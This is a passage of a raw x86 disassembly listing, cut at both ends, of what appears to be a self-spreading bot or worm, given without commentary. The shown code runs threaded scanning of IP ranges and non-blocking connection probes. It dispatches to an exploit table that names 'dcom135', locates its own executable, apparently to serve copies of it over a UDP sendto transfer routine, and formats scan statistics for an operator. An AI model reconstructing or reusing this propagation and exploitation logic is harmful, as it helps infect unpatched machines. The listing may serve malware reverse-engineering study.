		call	sub_415316
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_407007
		cmp	[ebp+var_D7], 1
		jnz	loc_406F59
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415B10
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_416D70
		add	esp, 14h
		test	eax, eax
		jnz	loc_406F13
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_416D70
		add	esp, 10h
		test	eax, eax
		jnz	loc_406F13
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_416CDE
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_416A57
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43CA88	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset unk_427268


loc_406EC7:				; CODE XREF: sub_406B84+47Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F01
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412BD1
		add	esp, 14h


loc_406F01:				; CODE XREF: sub_406B84+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B078
		pop	ecx
		jmp	loc_40701D
; ---------------------------------------------------------------------------


loc_406F13:				; CODE XREF: sub_406B84+2B6j
					; sub_406B84+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_427254
		push	edi
		call	dword_43CA88	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_427218
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40B078
		add	esp, 14h
		jmp	loc_40701D
; ---------------------------------------------------------------------------


loc_406F59:				; CODE XREF: sub_406B84+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_407007
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_406F90
		inc	al
		xor	cl, cl
		mov	[ebp+var_57D], bl
		jmp	short loc_406F98
; ---------------------------------------------------------------------------


loc_406F90:				; CODE XREF: sub_406B84+3FEj
		inc	cl
		mov	[ebp+var_57D], cl


loc_406F98:				; CODE XREF: sub_406B84+40Aj
		mov	[ebp+var_57E], al
		push	ebx
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_416CDE
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416A57
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43CA88	; sendto
		cmp	edi, ebx
		jnz	short loc_40701D
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_4271C8
		jmp	loc_406EC7
; ---------------------------------------------------------------------------


loc_407007:				; CODE XREF: sub_406B84+268j
					; sub_406B84+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_4271B8
		push	edi
		call	dword_43CA88	; sendto


loc_40701D:				; CODE XREF: sub_406B84+204j
					; sub_406B84+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406D2F


loc_407029:				; CODE XREF: sub_406B84+1B4j
		push	edi
		call	dword_43CABC	; closesocket
		push	[ebp+var_8]
		call	sub_415960
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40705D
		push	[ebp+var_170]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_40705D:				; CODE XREF: sub_406B84+4C4j
		push	3E8h
		call	dword_421060	; Sleep
		push	esi


loc_407069:				; CODE XREF: sub_406B84+123j
		call	sub_406B84
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407075	proc near		; CODE XREF: sub_40CD3A+5753p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp


loc_407078:				; DATA XREF: .text:00424DDCo
					; .text:00424DF0o ...
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_427728
		push	eax
		xor	ebx, ebx
		call	sub_415316
		cmp	dword_427388, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4070E3
		push	esi
		mov	esi, offset dword_427390


loc_4070A8:				; CODE XREF: sub_407075+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DB0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4070A8
		pop	esi


loc_4070E3:				; CODE XREF: sub_407075+2Bj
		push	dword_46AE88
		call	sub_40A8CF
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DB0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B078
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407075	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40713F	proc near		; CODE XREF: sub_40CD3A+50A5p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_40717B
		mov	eax, [ebp+arg_C]
		push	dword_43B678[eax*8]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_427794
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	short loc_40718E
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_40713F+13j
		lea	eax, [ebp+var_200]
		push	offset unk_427760
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_40718E:				; CODE XREF: sub_40713F+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B078
		add	esp, 18h
		leave
		retn
sub_40713F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071B6	proc near		; CODE XREF: sub_4078DF+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_407534
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_427394[eax], ebx
		jz	loc_407427
		push	4
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jnz	loc_407534
		mov	eax, dword_42C244
		push	edi
		mov	edi, offset dword_43BFF4
		push	104h
		push	edi
		push	ebx
		mov	dword_43C204, eax
		mov	dword_43C200, ebx
		call	dword_42107C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_43C0F8
		push	offset byte_42C2B4
		push	esi
		call	sub_416BE0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43BFF0, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43C288, eax
		jnz	short loc_407266
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43C208
		call	sub_416BE0
		mov	dword_43C28C, 1
		jmp	short loc_40727D
; ---------------------------------------------------------------------------


loc_407266:				; CODE XREF: sub_4071B6+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43C208
		call	sub_416BE0
		mov	dword_43C28C, ebx


loc_40727D:				; CODE XREF: sub_4071B6+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_43C204
		push	offset unk_427948
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	dword_43C1FC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43BFF0
		push	offset sub_406B84
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_43C1FC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	loc_40737C
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_427900
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_4072FC:				; CODE XREF: sub_4071B6+1CEj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B078
		mov	edi, offset dword_43C64C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43C858, ebx
		call	dword_42107C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_43C750
		push	offset byte_42C2B4
		push	esi
		call	sub_416BE0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43C648, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43C8E0, eax
		jnz	short loc_407389
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43C860
		call	sub_416BE0
		mov	dword_43C8E4, 1
		jmp	short loc_4073A0
; ---------------------------------------------------------------------------


loc_407374:				; CODE XREF: sub_4071B6+1CCj
		push	32h
		call	dword_421060	; Sleep


loc_40737C:				; CODE XREF: sub_4071B6+125j
		cmp	dword_43C290, ebx
		jz	short loc_407374
		jmp	loc_4072FC
; ---------------------------------------------------------------------------


loc_407389:				; CODE XREF: sub_4071B6+1A2j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43C860
		call	sub_416BE0
		mov	dword_43C8E4, ebx


loc_4073A0:				; CODE XREF: sub_4071B6+1BCj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_43C85C
		push	offset dword_4278A8
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	dword_43C854, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43C648
		push	offset sub_405398
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_43C854
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_40741A
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_427860
		jmp	loc_407518
; ---------------------------------------------------------------------------


loc_407412:				; CODE XREF: sub_4071B6+26Aj
		push	32h
		call	dword_421060	; Sleep


loc_40741A:				; CODE XREF: sub_4071B6+249j
		cmp	dword_43C8E8, ebx
		jz	short loc_407412
		jmp	loc_407527
; ---------------------------------------------------------------------------


loc_407427:				; CODE XREF: sub_4071B6+25j
		cmp	dword_427398[eax], ebx
		jz	loc_407534
		push	3
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jnz	loc_407534
		mov	esi, offset dword_43C524
		push	104h
		push	esi
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_416EE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407465
		mov	[eax], bl


loc_407465:				; CODE XREF: sub_4071B6+2ABj
		mov	eax, dword_42C248
		mov	dword_43C63C, ebx
		mov	dword_43C628, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43C29C
		call	sub_415316
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43C298, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43C628
		mov	dword_43C634, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43C638, ecx
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_427810
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	dword_43C630, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43C298
		push	offset sub_405A96
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_43C630
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_407540
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4277C8


loc_407518:				; CODE XREF: sub_4071B6+257j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_407527:				; CODE XREF: sub_4071B6+26Cj
					; sub_4071B6+392j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B078
		pop	ecx


loc_407534:				; CODE XREF: sub_4071B6+14j
					; sub_4071B6+35j ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407538:				; CODE XREF: sub_4071B6+390j
		push	32h
		call	dword_421060	; Sleep


loc_407540:				; CODE XREF: sub_4071B6+354j
		cmp	dword_43C644, ebx
		jz	short loc_407538
		jmp	short loc_407527
sub_4071B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40754A	proc near		; CODE XREF: sub_4076CB:loc_40772Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43B678h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43C958	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43CA20	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4153F0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40754A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407592	proc near		; CODE XREF: sub_4076CB+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415B10
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_4075BA
		xor	eax, eax
		jmp	short loc_40762B
; ---------------------------------------------------------------------------


loc_4075BA:				; CODE XREF: sub_407592+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416947
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4075E7
		call	sub_415372
		mov	[ebp+var_C], eax


loc_4075E7:				; CODE XREF: sub_407592+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4075F4
		call	sub_415372
		mov	[ebp+var_8], eax


loc_4075F4:				; CODE XREF: sub_407592+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_407601
		call	sub_415372
		mov	[ebp+var_4], eax


loc_407601:				; CODE XREF: sub_407592+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40760D
		call	sub_415372


loc_40760D:				; CODE XREF: sub_407592+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43B678[ecx*8], eax


loc_40762B:				; CODE XREF: sub_407592+26j
		pop	esi
		leave
		retn
sub_407592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_4076CB+A9p
					; sub_412A1D+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43CAA4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407657
		xor	eax, eax
		jmp	short loc_4076C6
; ---------------------------------------------------------------------------


loc_407657:				; CODE XREF: sub_40762E+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43CA24	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43CAC0	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43C9CC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43CA0C	; select
		push	esi
		mov	edi, eax
		call	dword_43CABC	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_4076C6:				; CODE XREF: sub_40762E+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CB	proc near		; DATA XREF: sub_4078DF+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_4078BC
; ---------------------------------------------------------------------------


loc_407717:				; CODE XREF: sub_4076CB+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40772D
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407592
		pop	ecx
		jmp	short loc_407732
; ---------------------------------------------------------------------------


loc_40772D:				; CODE XREF: sub_4076CB+51j
		call	sub_40754A


loc_407732:				; CODE XREF: sub_4076CB+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_441B9C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4279E8
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_441998[ebx]
		push	eax
		call	sub_415316
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40762E
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_4078B1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_407806
		push	offset dword_43BFD8
		call	dword_4210B4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4279A8
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4077E8
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4077DC
		lea	eax, [ebp+var_140]


loc_4077DC:				; CODE XREF: sub_4076CB+109j
		push	eax
		push	[ebp+var_40]
		call	sub_412BD1
		add	esp, 14h


loc_4077E8:				; CODE XREF: sub_4076CB+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40B078
		mov	[esp+2A8h+var_2A8], offset dword_43BFD8
		call	dword_4210B0	; RtlLeaveCriticalSection
		jmp	loc_4078B1
; ---------------------------------------------------------------------------


loc_407806:				; CODE XREF: sub_4076CB+BEj
		push	edi
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_415316
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40784A
		lea	eax, [ebp+var_140]


loc_40784A:				; CODE XREF: sub_4076CB+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_415316
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42738C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_4078B1:				; CODE XREF: sub_4076CB+B4j
					; sub_4076CB+136j
		push	7D0h
		call	dword_421060	; Sleep


loc_4078BC:				; CODE XREF: sub_4076CB+47j
		mov	eax, dword_441B9C[ebx]
		cmp	dword_43B67C[eax*8], 0
		jnz	loc_407717
		push	esi
		call	sub_4150F0
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_4076CB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078DF	proc near		; DATA XREF: sub_40CD3A+3137o
					; sub_40CD3A+4D09o

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43CA64	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43B678[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4071B6
		push	8
		call	sub_41501C
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4079AD
		mov	esi, offset dword_43BFD8
		push	esi
		call	dword_4210BC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4210B8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_4079AD
		lea	eax, [ebp+var_1CC]
		push	offset unk_427B30
		push	eax
		call	sub_415316
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407997
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412BD1
		add	esp, 14h


loc_407997:				; CODE XREF: sub_4078DF+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B078
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4079AD:				; CODE XREF: sub_4078DF+63j
					; sub_4078DF+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_421060
		mov	edi, ebx
		mov	dword_43B67C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407A6F


loc_4079CB:				; CODE XREF: sub_4078DF+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427AE0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_414DDA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_441B9C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_4076CB
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_407A86
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A90
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B078
		add	esp, 10h


loc_407A61:				; CODE XREF: sub_4078DF+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_4079CB


loc_407A6F:				; CODE XREF: sub_4078DF+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_407A94
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_407AA1
; ---------------------------------------------------------------------------


loc_407A82:				; CODE XREF: sub_4078DF+1AAj
		push	1Eh
		call	esi	; Sleep


